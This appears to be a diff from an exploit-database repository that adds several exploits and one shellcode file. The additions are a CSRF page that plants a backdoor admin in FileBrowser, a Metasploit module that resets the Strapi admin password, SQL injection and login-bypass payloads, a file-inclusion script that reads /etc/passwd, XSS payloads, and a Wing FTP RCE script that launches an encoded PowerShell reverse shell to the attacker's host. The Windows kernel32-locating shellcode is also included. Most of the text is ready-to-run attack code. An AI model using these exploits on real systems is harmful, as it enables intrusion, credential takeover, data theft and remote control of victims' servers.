DB: 2022-02-09
11 changes to exploits/shellcodes Wing FTP Server 4.3.8 - Remote Code Execution (RCE) (Authenticated) Hotel Reservation System 1.0 - SQLi (Unauthenticated) Strapi CMS 3.0.0-beta.17.4 - Set Password (Unauthenticated) (Metasploit) FileBrowser 2.17.2 - Cross Site Request Forgery (CSRF) to Remote Code Execution (RCE) Hospital Management System 4.0 - 'multiple' SQL Injection WordPress Plugin International Sms For Contact Form 7 Integration V1.2 - Cross Site Scripting (XSS) Wordpress Plugin Simple Job Board 2.9.3 - Local File Inclusion WordPress Plugin Security Audit 1.0.0 - Stored Cross Site Scripting (XSS) WordPress Plugin CP Blocks 1.0.14 - Stored Cross Site Scripting (XSS) Windows/x86 - Locate kernel32 base address / Stack Crack method NullFree Shellcode (171 bytes)
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Offensive Security
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80
exploits/multiple/webapps/50717.txt
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80
exploits/multiple/webapps/50717.txt
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# Exploit Title: FileBrowser 2.17.2 - Cross Site Request Forgery (CSRF) to Remote Code Execution (RCE)
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# Date: 5/2/2022
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# Exploit Author: FEBIN MON SAJI
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# Vendor Homepage: https://filebrowser.org/
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# Software Link: https://github.com/filebrowser/filebrowser
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# Version: FileBrowser <= 2.17.2
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# Tested on: Ubuntu 20.04
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# CVE : CVE-2021-46398
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1. Description:
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A Cross-Site Request Forgery vulnerability exists in Filebrowser < 2.18.0 that allows attackers to create a backdoor user with admin privilege and get access to the filesystem via a malicious HTML webpage that is sent to the victim. An admin can run commands using the FileBrowser and hence it leads to RCE.
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2. Proof Of Concept:
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<html>
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<script>
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setTimeout(function() {document.forms["exploit"].submit();}, 3000);
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</script>
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<body style="text-align:center;">
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<h1> FileBrowser CSRF PoC by Febin </h1>
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<!-- This create a admin privileged backdoor user named "pwned" with password "pwned" -->
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<!-- Change the URL in the form action -->
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<form action="http://127.0.0.1:8080/api/users" method="POST" enctype="text/plain" name="exploit">
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<!-- Change the "scope" parameter in the payload as your choice -->
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<input type="hidden" name='{"what":"user","which":[],"data":{"scope":"../../../../root/","locale":"en","viewMode":"mosaic","singleClick":false,"sorting":{"by":"","asc":false},"perm":{"admin":true,"execute":true,"create":true,"rename":true,"modify":true,"delete":true,"share":true,"download":true},"commands":[],"hideDotfiles":false,"username":"pwned","password":"","rules":[{"allow":true,"path":"../","regex":false,"regexp":{"raw":""}}],"lockPassword":false,"id":0,"password":"pwned"}}' value='test'>
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</form>
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</body>
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</html>
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3. HTTP request intercept:
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POST /api/users HTTP/1.1
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Host: 127.0.0.1:8081
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User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate
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Content-Type: text/plain
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Content-Length: 465
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Connection: close
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Cookie: auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjoxLCJsb2NhbGUiOiJlbiIsInZpZXdNb2RlIjoibW9zYWljIiwic2luZ2xlQ2xpY2siOmZhbHNlLCJwZXJtIjp7ImFkbWluIjp0cnVlLCJleGVjdXRlIjp0cnVlLCJjcmVhdGUiOnRydWUsInJlbmFtZSI6dHJ1ZSwibW9kaWZ5Ijp0cnVlLCJkZWxldGUiOnRydWUsInNoYXJlIjp0cnVlLCJkb3dubG9hZCI6dHJ1ZX0sImNvbW1hbmRzIjpbXSwibG9ja1Bhc3N3b3JkIjpmYWxzZSwiaGlkZURvdGZpbGVzIjpmYWxzZX0sImV4cCI6MTY0NDA4OTE3MiwiaWF0IjoxNjQ0MDgxOTcyLCJpc3MiOiJGaWxlIEJyb3dzZXIifQ.hdFWg3SIQQ-4P8K48yru-152NGItZPKau6EBL6m8RJE
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Upgrade-Insecure-Requests: 1
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Sec-Fetch-Dest: document
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Sec-Fetch-Mode: navigate
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Sec-Fetch-Site: cross-site
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Sec-GPC: 1
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{"what":"user","which":[],"data":{"scope":"../../../../root/","locale":"en","viewMode":"mosaic","singleClick":false,"sorting":{"by":"","asc":false},"perm":{"admin":true,"execute":true,"create":true,"rename":true,"modify":true,"delete":true,"share":true,"download":true},"commands":[],"hideDotfiles":false,"username":"pwned","password":"","rules":[{"allow":true,"path":"../","regex":false,"regexp":{"raw":""}}],"lockPassword":false,"id":0,"password":"pwned"}}=test
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4. References:
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https://febin0x4e4a.wordpress.com/2022/01/19/critical-csrf-in-filebrowser/
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https://febin0x4e4a.blogspot.com/2022/01/critical-csrf-in-filebrowser.html
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https://systemweakness.com/critical-csrf-to-rce-in-filebrowser-865a3c34b8e7
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5. Detailed Description:
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The Vulnerability - CSRF to RCE
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FileBrowser is a popular file manager/file managing interface developed in the Go language. Admin can create multiple users, even another Admin privileged user, and give access to any directory he wants, the user creation is handled by an endpoint “/api/users”.
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The endpoint accepts input in JSON format to create users, but fails to verify that the “Content-Type” HTTP header, the Content-Type header’s value should be “application/json” but it accepts “text/plain” and that’s where the vulnerability arises. Also, the “Origin” is not validated and there are no anti-CSRF tokens implemented either.
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Hence an attacker can easily exploit this vulnerability to create a backdoor user with admin privileges and access to the home directory or whichever directory the attacker wants to access, just by sending a malicious webpage URL to the legitimate admin and access the whole filesystem of the victim.
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And an admin can run commands on the system, so this vulnerability leads to an RCE.
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87
exploits/nodejs/webapps/50716.rb
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87
exploits/nodejs/webapps/50716.rb
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@ -0,0 +1,87 @@
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Auxiliary
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => "Strapi CMS 3.0.0-beta.17.4 - Set Password (Unauthenticated) (Metasploit)",
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'Description' => %q{
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This exploit module abuses the mishandling of password reset in JSON for Strapi CMS version 3.0.0-beta.17.4 to change the password of a privileged user.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'WackyH4cker' ],
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'References' =>
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[
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[ 'URL', 'https://vulners.com/cve/CVE-2019-18818' ]
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],
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'Platform' => 'linux',
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'Targets' => [
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[ 'Strapi 3.0.0-beta-17.4', {} ]
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],
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'Payload' => '',
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'Privileged' => true,
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'DisclosureDate' => "",
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'DefaultOptions' =>
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{
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'SSL' => 'False',
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'RPORT' => 80,
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},
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'DefaultTarget' => 0
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))
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register_options [
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OptString.new('NEW_PASSWORD', [true, 'New password for user Admin'])
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]
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end
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def check
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res = send_request_raw({ 'uri' => '/admin/init' })
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version = JSON.parse(res.body)
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if version["data"]["strapiVersion"] == '3.0.0-beta.17.4'
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return Exploit::CheckCode::Vulnerable
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else
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return Exploit::CheckCode::Safe
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end
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end
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def run
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json_body = { 'code' => {'$gt' => 0},
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'password' => datastore['NEW_PASSWORD'],
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'passwordConfirmation' => datastore['NEW_PASSWORD'] }
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => '/admin/auth/reset-password',
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'ctype' => 'application/json',
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'data' => JSON.generate(json_body)
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})
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print_status("Changing password...")
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json_format = JSON.parse(res.body)
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jwt = json_format['jwt']
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if res.code == 200
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print_good("Password changed successfully!")
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print_good("USER: admin")
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print_good("PASSWORD: #{datastore['NEW_PASSWORD']}")
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print_good("JWT: #{jwt}")
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else
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fail_with(Failure::NoAccess"Could not change admin user password")
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end
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end
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end
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31
exploits/php/webapps/50715.txt
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31
exploits/php/webapps/50715.txt
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# Exploit Title: Hotel Reservation System 1.0 - SQLi (Unauthenticated)
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# Google Dork: None
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# Date: 01/29/2022
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# Exploit Author: Nefrit ID
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# Author Website: https://manadocoder.com
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# Vendor Homepage: https://github.com/dhruvmullick
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# Software Link: https://github.com/dhruvmullick/hotel-reservation-system
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# Tested on: Kali Linux & Windows 10
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===Exploit Url===
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http://localhost/hotel-reservation-system-master/login.php
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Method: POST
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Parameter: username
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===Burpsuite Proxy Intercept===
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POST /hotel-reservation-system-master/loginsession.php HTTP/1.1
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Host: localhost
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Content-Length: 46
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Cache-Control: max-age=0
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Upgrade-Insecure-Requests: 1
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Origin: http://localhost
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Content-Type: application/x-www-form-urlencoded
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
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Referer: http://localhost/hotel-reservation-system-master/login.php
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Accept-Encoding: gzip, deflate
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Accept-Language: en-US,en;q=0.9
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Cookie: uid=1
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Connection: close
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username=u1337#' AND (SELECT 4775 FROM (SELECT(SLEEP(5)))BzJL)-- dvSZ&password=p1337&ok=Submit
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I can also bypass login by using the following payload: ' or '1'='1'# on the parameter username
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70
exploits/php/webapps/50718.txt
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70
exploits/php/webapps/50718.txt
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# Title: Hospital Management System 4.0 - 'multiple' SQL Injection
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# Author: nu11secur1ty
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# Date: 02.06.2022
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# Vendor: https://github.com/kishan0725
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# Software: https://github.com/kishan0725/Hospital-Management-System
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# CVE-2022-24263
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## Description:
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The Hospital Management System v4.0 is suffering from Multiple
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SQL-Injections via three parameters in function.php, contact.php, and
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func3.php applications.
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The attacker can be receiving the all information from the system by
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using this vulnerability, and also the malicious actor can use
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sensitive information from the customers of this system.
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WARNING: If this is in some external domain, or some subdomain, or
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internal, this will be extremely dangerous!
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Status: CRITICAL
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[+] Payloads:
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---
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Parameter: txtName (POST)
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Type: time-based blind
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Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
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Payload: txtName=821761' AND (SELECT 9346 FROM
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(SELECT(SLEEP(3)))HJGv) AND
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'xkCZ'='xkCZ&txtEmail=xstxPhYW@https://github.com/kishan0725/Hospital-Management-System&txtPhone=813-439-23'+(select
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load_file('\\\\k0lnu24kl14z5bxcoo5tj7z4bvho5fz3q6ey1qpf.https://github.com/kishan0725/Hospital-Management-System\\hgq'))+'&btnSubmit=Send
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Message&txtMsg=441931
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---
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-------------------------------------------
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---
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Parameter: #1* ((custom) POST)
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Type: error-based
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Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)
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Payload: email=riiVAqjG@https://github.com/kishan0725/Hospital-Management-System'+(select-2936)
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OR 1 GROUP BY CONCAT(0x7162706271,(SELECT (CASE WHEN (5080=5080) THEN
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1 ELSE 0 END)),0x716b767a71,FLOOR(RAND(0)*2)) HAVING
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MIN(0)#from(select(sleep(20)))a)+'&password2=d3U!l9k!E4&patsub=Login
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Type: UNION query
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Title: MySQL UNION query (random number) - 1 column
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Payload: email=riiVAqjG@https://github.com/kishan0725/Hospital-Management-System'+(select-2730)
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UNION ALL SELECT
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8185,8185,CONCAT(0x7162706271,0x5777534a4b68716f6d4270614362544c4954786a4f774b6852586b47694945644a70757262644c52,0x716b767a71),8185,8185,8185,8185,8185#from(select(sleep(20)))a)+'&password2=d3U!l9k!E4&patsub=Login
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---
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-------------------------------------------
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---
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Parameter: #1* ((custom) POST)
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Type: error-based
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Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)
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Payload: username3=CHnDaCTc'+(select-2423) OR 1 GROUP BY
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CONCAT(0x71626a6271,(SELECT (CASE WHEN (5907=5907) THEN 1 ELSE 0
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END)),0x716b766b71,FLOOR(RAND(0)*2)) HAVING
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MIN(0)#from(select(sleep(20)))a)+'&password3=a5B!n6f!U1&docsub1=Login
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Type: UNION query
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Title: MySQL UNION query (random number) - 1 column
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Payload: username3=CHnDaCTc'+(select-3282) UNION ALL SELECT
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CONCAT(0x71626a6271,0x446c68526a796c4475676e54774d6b617a6977736855756f63796f43686d706c637877534a557076,0x716b766b71),4829,4829,4829,4829#from(select(sleep(20)))a)+'&password3=a5B!n6f!U1&docsub1=Login
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---
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## Reproduce:
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https://github.com/nu11secur1ty/CVE-mitre/edit/main/2022/CVE-2022-24263
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13
exploits/php/webapps/50719.txt
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13
exploits/php/webapps/50719.txt
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# Exploit Title: WordPress Plugin International Sms For Contact Form 7 Integration V1.2 - Cross Site Scripting (XSS)
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# Date: 2022-02-04
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# Author: Milad karimi
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# Software Link: https://wordpress.org/plugins/cf7-international-sms-integration/
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# Version: 1.2
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# Tested on: Windows 11
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# CVE: N/A
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1. Description:
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This plugin creates a cf7-international-sms-integration from any post types. The slider import search feature and tab parameter via plugin settings are vulnerable to reflected cross-site scripting.
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2. Proof of Concept:
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http://localhost/cf7-international-sms-integration/includes/admin/class-sms-log-display.php?page=<script>alert("test")</script>
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80
exploits/php/webapps/50721.py
Executable file
80
exploits/php/webapps/50721.py
Executable file
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# Exploit Title: Wordpress Plugin Simple Job Board 2.9.3 - Local File Inclusion
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# Date: 2022-02-06
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# Exploit Author: Ven3xy
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# Vendor Homepage: https://wordpress.org/plugins/simple-job-board/
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# Software Link: https://downloads.wordpress.org/plugin/simple-job-board.2.9.3.zip
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# Version: 2.9.3
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# Tested on: Ubuntu 20.04 LTS
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# CVE : CVE-2020-35749
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import requests
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import sys
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import time
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class color:
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HEADER = '\033[95m'
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IMPORTANT = '\33[35m'
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NOTICE = '\033[33m'
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OKBLUE = '\033[94m'
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OKGREEN = '\033[92m'
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WARNING = '\033[93m'
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RED = '\033[91m'
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END = '\033[0m'
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UNDERLINE = '\033[4m'
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LOGGING = '\33[34m'
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color_random=[color.HEADER,color.IMPORTANT,color.NOTICE,color.OKBLUE,color.OKGREEN,color.WARNING,color.RED,color.END,color.UNDERLINE,color.LOGGING]
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def banner():
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run = color_random[6]+'''\nY88b / 888~~ 888 ,e, d8
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Y88b / 888-~88e 888___ Y88b / 888-~88e 888 e88~-_ " _d88__
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Y88b e / 888 888b ____ 888 Y88b/ 888 888b 888 d888 i 888 888
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Y88bd8b/ 888 8888 888 Y88b 888 8888 888 8888 | 888 888
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Y88Y8Y 888 888P 888 /Y88b 888 888P 888 Y888 ' 888 888
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Y Y 888-_88" 888___ / Y88b 888-_88" 888 "88_-~ 888 "88_/
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888 888 \n'''
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run2 = color_random[2]+'''\t\t\t(CVE-2020-35749)\n'''
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run3 = color_random[4]+'''\t{ Coded By: Ven3xy | Github: https://github.com/M4xSec/ }\n\n'''
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print(run+run2+run3)
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if (len(sys.argv) != 5):
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banner()
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print("[!] Usage : ./wp-exploit.py <target_url> <file_path> <USER> <PASS>")
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print("[~] Example : ./wp-exploit.py http://target.com:8080/wordpress/ /etc/passwd admin admin")
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exit()
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else:
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banner()
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fetch_path = sys.argv[2]
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print (color_random[5]+"[+] Trying to fetch the contents from "+fetch_path)
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time.sleep(3)
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target_url = sys.argv[1]
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usernamex = sys.argv[3]
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passwordx = sys.argv[4]
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print("\n")
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login = target_url+"wp-login.php"
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wp_path = target_url+'wp-admin/post.php?post=application_id&action=edit&sjb_file='+fetch_path
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username = usernamex
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password = passwordx
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with requests.Session() as s:
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headers = { 'Cookie':'wordpress_test_cookie=WP Cookie check',
|
||||
'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.2 Safari/605.1.15' }
|
||||
|
||||
post_data={ 'log':username, 'pwd':password,
|
||||
'wp-submit':'Log In','redirect_to':wp_path,
|
||||
'testcookie':'1'
|
||||
}
|
||||
|
||||
s.post(login, headers=headers, data=post_data)
|
||||
resp = s.get(wp_path)
|
||||
|
||||
out_file = open("output.txt", "w")
|
||||
print(resp.text, file=out_file)
|
||||
out_file.close()
|
||||
print(color_random[4]+resp.text)
|
||||
out = color_random[5]+"\n[+] Output Saved as: output.txt\n"
|
||||
print(out)
|
||||
26
exploits/php/webapps/50723.txt
Normal file
26
exploits/php/webapps/50723.txt
Normal file
|
|
@ -0,0 +1,26 @@
|
|||
# Exploit Title: WordPress Plugin Security Audit 1.0.0 - Stored Cross Site Scripting (XSS)
|
||||
# Date: 2022-01-26
|
||||
# Exploit Author: Shweta Mahajan
|
||||
# Vendor Homepage: https://en-gb.wordpress.org/plugins/titan-labs-security-audit/
|
||||
# Software Link: https://en-gb.wordpress.org/plugins/titan-labs-security-audit/
|
||||
# Tested on Windows
|
||||
# CVE: CVE-2021-24901
|
||||
# Reference:
|
||||
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24901
|
||||
https://wpscan.com/vulnerability/9c315404-b66a-448c-a3b7-367a37b53435
|
||||
|
||||
How to reproduce vulnerability:
|
||||
|
||||
1. Install Latest WordPress
|
||||
|
||||
2. Install and activate Titan-labs-security-audit Version 1.0.0
|
||||
|
||||
3. Navigate to Security Audit settings >> enter the payload into 'Data Id'.
|
||||
|
||||
4. Enter JavaScript payload which is mentioned below
|
||||
"><img src=x onerror=confirm(1)>
|
||||
|
||||
5. You will observe that the payload successfully got stored into the
|
||||
database and when you are triggering the same functionality at that
|
||||
time JavaScript payload gets executed successfully and we'll get a
|
||||
pop-up.
|
||||
26
exploits/php/webapps/50724.txt
Normal file
26
exploits/php/webapps/50724.txt
Normal file
|
|
@ -0,0 +1,26 @@
|
|||
# Exploit Title: WordPress Plugin CP Blocks 1.0.14 - Stored Cross Site Scripting (XSS)
|
||||
# Date: 2022-02-02
|
||||
# Exploit Author: Shweta Mahajan
|
||||
# Vendor Homepage: https://wordpress.org/plugins/cp-blocks/
|
||||
# Software Link: https://wordpress.org/plugins/cp-blocks/
|
||||
# Tested on Windows
|
||||
# CVE: CVE-2022-0448
|
||||
# Reference:
|
||||
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0448
|
||||
https://wpscan.com/vulnerability/d4ff63ee-28e6-486e-9aa7-c878b97f707c
|
||||
|
||||
How to reproduce vulnerability:
|
||||
|
||||
1. Install Latest WordPress
|
||||
|
||||
2. Install and activate CP Blocks Version 1.0.14
|
||||
|
||||
3. Navigate to CP Blocks - License >> enter the payload into 'License ID'.
|
||||
|
||||
4. Enter JavaScript payload which is mentioned below
|
||||
"><script>alert(0)</script>
|
||||
|
||||
5. You will observe that the payload successfully got stored into the
|
||||
database and when you are triggering the same functionality at that
|
||||
time JavaScript payload gets executed successfully and we'll get a
|
||||
pop-up.
|
||||
|
|
@ -3,6 +3,7 @@
|
|||
# Date: 12.07.2021
|
||||
# Version: Argus Surveillance DVR 4.0
|
||||
# Tested on: Windows 7 x86 (Build 7601) & Windows 10
|
||||
# Reference: https://leobreaker1411.github.io/blog/dvr4-hash-crack
|
||||
|
||||
# Note: Argus Surveillance DVR 4.0 configuration is present in
|
||||
# C:\ProgramData\PY_Software\Argus Surveillance DVR\DVRParams.ini
|
||||
|
|
|
|||
78
exploits/windows/remote/50720.py
Executable file
78
exploits/windows/remote/50720.py
Executable file
|
|
@ -0,0 +1,78 @@
|
|||
# Exploit Title: Wing FTP Server 4.3.8 - Remote Code Execution (RCE) (Authenticated)
|
||||
# Date: 02/06/2022
|
||||
# Exploit Author: notcos
|
||||
# Credit: Credit goes to the initial discoverer of this exploit, Alex Haynes.
|
||||
# Vendor Homepage: https://www.wftpserver.com/
|
||||
# Software Link: https://www.wftpserver.com/download/WingFtpServer.exe
|
||||
# Version: <=4.3.8
|
||||
# Tested on: Windows
|
||||
|
||||
# !/usr/bin/python3
|
||||
import requests
|
||||
import sys
|
||||
import base64
|
||||
import urllib.parse
|
||||
|
||||
# Get command line arguments
|
||||
if len(sys.argv) != 7:
|
||||
print("This exploit will invoke a nishang tcp reverse shell on the target. Start your listener before executing.")
|
||||
print("Usage: %s <TARGET> <TARGET_PORT> <LOCAL_IP> <LOCAL_PORT> <USER> <PASSWORD>" % sys.argv[0])
|
||||
print("Example: %s 0.0.0.0 8000 127.0.0.1 9001 notcos coolpass" % sys.argv[0])
|
||||
exit(1)
|
||||
|
||||
else:
|
||||
target = sys.argv[1]
|
||||
targetport = sys.argv[2]
|
||||
localip = sys.argv[3]
|
||||
localport = sys.argv[4]
|
||||
user = sys.argv[5]
|
||||
password = sys.argv[6]
|
||||
|
||||
print('''
|
||||
.--.
|
||||
/ ,~a`-,
|
||||
\ \_.-"`
|
||||
) ( __ __ .__ ____ __________ _________ ___________
|
||||
,/ ."\ / \ / \|__| ____ / ___\ \______ \\\\_ ___ \ \_ _____/
|
||||
/ ( | \ \/\/ /| | / \ / /_/ > | _// \ \/ | __)_
|
||||
/ ) ; \ / | || | \ \___ / | | \\\\ \____ | \\
|
||||
/ / / \__/\ / |__||___| //_____/ |____|_ / \______ //_______ /
|
||||
,/_."` /` \/ \/ \/ \/ \/
|
||||
/_/\ |___
|
||||
`~~~~~`
|
||||
''')
|
||||
|
||||
# Create the login request
|
||||
url = 'http://' + target + ':' + targetport + '/admin_loginok.html'
|
||||
data = ('username=' + user + '&password=' + password + '&username_val=' + user + '&password_val=' + password + '&su'
|
||||
'bmit_btn=%2bLogin%2b')
|
||||
headers = {
|
||||
"User-Agent": "Googlebot"
|
||||
}
|
||||
|
||||
# Send the POST request to log in and save the cookie
|
||||
r = requests.post(url, headers=headers, data=data)
|
||||
cookie = 'UIDADMIN=' + r.cookies['UIDADMIN']
|
||||
print('Login successful - Cookie: ' + cookie)
|
||||
url = "http://172.31.1.20:8080/admin_lua_script.html"
|
||||
headers = {
|
||||
"User-Agent": "Googlebot",
|
||||
"Cookie": cookie,
|
||||
}
|
||||
|
||||
# Base64 encode a nishang reverse tcp shell one liner and then url encode it
|
||||
nish = ("$client = New-Object System.Net.Sockets.TCPClient(\"" + localip + "\"," + localport + ");$stream = $client"
|
||||
".GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$d"
|
||||
"ata = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1"
|
||||
" | Out-String );$sendback2 = $sendback + \"PS \" + (pwd).Path + \"> \";$sendbyte = ([text.encoding]::ASCI"
|
||||
"I).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()")
|
||||
encodedStr = str(base64.b64encode(nish.encode('UTF-16LE')), "UTF8")
|
||||
urlpayload = urllib.parse.quote(encodedStr, safe='+')
|
||||
finalload = "command=os.execute('powershell -Encodedcommand " + urlpayload + "')"
|
||||
|
||||
# Send the reverse shell payload
|
||||
try:
|
||||
r = requests.post(url, headers=headers, data=finalload, timeout=0.1)
|
||||
except requests.exceptions.ReadTimeout:
|
||||
print("The payload has been sent. Check your listener.")
|
||||
pass
|
||||
|
|
@ -18605,6 +18605,7 @@ id,file,description,date,author,type,platform,port
|
|||
50652,exploits/windows/remote/50652.txt,"CoreFTP Server build 725 - Directory Traversal (Authenticated)",1970-01-01,LiamInfosec,remote,windows,
|
||||
50665,exploits/windows/remote/50665.txt,"Archeevo 5.0 - Local File Inclusion",1970-01-01,"Miguel Santareno",remote,windows,
|
||||
50688,exploits/windows/remote/50688.txt,"Oracle WebLogic Server 14.1.1.0.0 - Local File Inclusion",1970-01-01,"Jonah Tan",remote,windows,
|
||||
50720,exploits/windows/remote/50720.py,"Wing FTP Server 4.3.8 - Remote Code Execution (RCE) (Authenticated)",1970-01-01,notcos,remote,windows,
|
||||
6,exploits/php/webapps/6.php,"WordPress Core 2.0.2 - 'cache' Remote Shell Injection",1970-01-01,rgod,webapps,php,
|
||||
44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",1970-01-01,"Rick Patel",webapps,php,
|
||||
47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",1970-01-01,Spoofed,webapps,php,
|
||||
|
|
@ -44790,3 +44791,11 @@ id,file,description,date,author,type,platform,port
|
|||
50712,exploits/multiple/webapps/50712.rb,"Servisnet Tessa - Privilege Escalation (Metasploit)",1970-01-01,AkkuS,webapps,multiple,
|
||||
50713,exploits/multiple/webapps/50713.rb,"Servisnet Tessa - MQTT Credentials Dump (Unauthenticated) (Metasploit)",1970-01-01,AkkuS,webapps,multiple,
|
||||
50714,exploits/multiple/webapps/50714.rb,"Servisnet Tessa - Add sysAdmin User (Unauthenticated) (Metasploit)",1970-01-01,AkkuS,webapps,multiple,
|
||||
50715,exploits/php/webapps/50715.txt,"Hotel Reservation System 1.0 - SQLi (Unauthenticated)",1970-01-01,"Nefrit ID",webapps,php,
|
||||
50716,exploits/nodejs/webapps/50716.rb,"Strapi CMS 3.0.0-beta.17.4 - Set Password (Unauthenticated) (Metasploit)",1970-01-01,WackyH4cker,webapps,nodejs,
|
||||
50717,exploits/multiple/webapps/50717.txt,"FileBrowser 2.17.2 - Cross Site Request Forgery (CSRF) to Remote Code Execution (RCE)",1970-01-01,"FEBIN MON SAJI",webapps,multiple,
|
||||
50718,exploits/php/webapps/50718.txt,"Hospital Management System 4.0 - 'multiple' SQL Injection",1970-01-01,nu11secur1ty,webapps,php,
|
||||
50719,exploits/php/webapps/50719.txt,"WordPress Plugin International Sms For Contact Form 7 Integration V1.2 - Cross Site Scripting (XSS)",1970-01-01,"Milad karimi",webapps,php,
|
||||
50721,exploits/php/webapps/50721.py,"Wordpress Plugin Simple Job Board 2.9.3 - Local File Inclusion",1970-01-01,Ven3xy,webapps,php,
|
||||
50723,exploits/php/webapps/50723.txt,"WordPress Plugin Security Audit 1.0.0 - Stored Cross Site Scripting (XSS)",1970-01-01,"Shweta Mahajan",webapps,php,
|
||||
50724,exploits/php/webapps/50724.txt,"WordPress Plugin CP Blocks 1.0.14 - Stored Cross Site Scripting (XSS)",1970-01-01,"Shweta Mahajan",webapps,php,
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
|
|
@ -1045,3 +1045,4 @@ id,file,description,date,author,type,platform
|
|||
50384,shellcodes/windows_x86/50384.c,"Windows/x86 - Bind TCP shellcode / Dynamic PEB & EDT method null-free Shellcode (415 bytes)",1970-01-01,"Daniel Ortiz",shellcode,windows_x86
|
||||
50710,shellcodes/windows_x86/50710.asm,"Windows/x86 - Download File and Execute / Dynamic PEB & EDT method Shellcode (458 bytes)",1970-01-01,Techryptic,shellcode,windows_x86
|
||||
50711,shellcodes/windows_x86/50711.asm,"Windows/x86 - Locate kernel32 base address / Memory Sieve method Shellcode (133 bytes)",1970-01-01,"Tarek Ahmed",shellcode,windows_x86
|
||||
50722,shellcodes/windows_x86/50722.asm,"Windows/x86 - Locate kernel32 base address / Stack Crack method NullFree Shellcode (171 bytes)",1970-01-01,"Tarek Ahmed",shellcode,windows_x86
|
||||
|
|
|
|||
|
162
shellcodes/windows_x86/50722.asm
Normal file
162
shellcodes/windows_x86/50722.asm
Normal file
|
|
@ -0,0 +1,162 @@
|
|||
# Shellcode Title: Windows/x86 - Locate kernel32 base address / Stack Crack method NullFree Shellcode (171 bytes)
|
||||
# Description:
|
||||
# This shellcode is a new method to find kernel32 base address by walking down the stack and look for a possible Kernel32 address using custom SEH handler.
|
||||
# Each address found on the stack will be tested using the Exception handling function. If it's valid and starts with 7, then it's a possible kernel32 address.
|
||||
# Date: 2/5/2022
|
||||
# Shellcode Author: Tarek Ahmed
|
||||
# Tested on: Microsoft Windows 7, and 10
|
||||
|
||||
/*
|
||||
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2022 Tarek Ahmed
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
||||
sub esp, 8
|
||||
xor eax, eax
|
||||
cdq
|
||||
xchg edx, ecx
|
||||
|
||||
|
||||
StackWalk :
|
||||
mov ebx, [esp + ecx] ; Walking down the stack to find a possible kernel32 pointer
|
||||
mov edx, ebx
|
||||
shr ebx, 28 ; Shift right 28 to get the last digit in the address, (looking for 7)
|
||||
add ecx, 4
|
||||
cmp ebx, 7 ; is it 7 ?
|
||||
jne StackWalk
|
||||
jmp short checking
|
||||
|
||||
checkAddress :
|
||||
push ebp
|
||||
mov ebp, esp
|
||||
jmp rev1 ; jmp down to rev1 and up again to avoid null bytes and get the address of next instruciton.
|
||||
reverse:
|
||||
pop eax
|
||||
jmp eax
|
||||
rev1:
|
||||
call reverse
|
||||
add eax, 0x1e
|
||||
push eax
|
||||
xor edi, edi
|
||||
push dword ptr FS : [edi] ; Push FS[0] SEH
|
||||
mov dword ptr fs : [edi] , esp ; set up or SEH stack
|
||||
mov eax, dword ptr ss : [ebp + 8]
|
||||
xchg eax, esi ; We want to call [esi] instead of [eax] next to avoid null bytes
|
||||
mov eax, dword ptr ds : [esi]
|
||||
|
||||
xor eax, eax
|
||||
|
||||
jmp short cleanseh
|
||||
|
||||
|
||||
xor eax, eax
|
||||
inc eax
|
||||
mov esp, dword ptr fs : [edi]
|
||||
mov esp, dword ptr ss : [esp]
|
||||
|
||||
|
||||
cleanseh :
|
||||
pop dword ptr fs : [edi]
|
||||
add esp, 4
|
||||
pop ebp
|
||||
ret
|
||||
|
||||
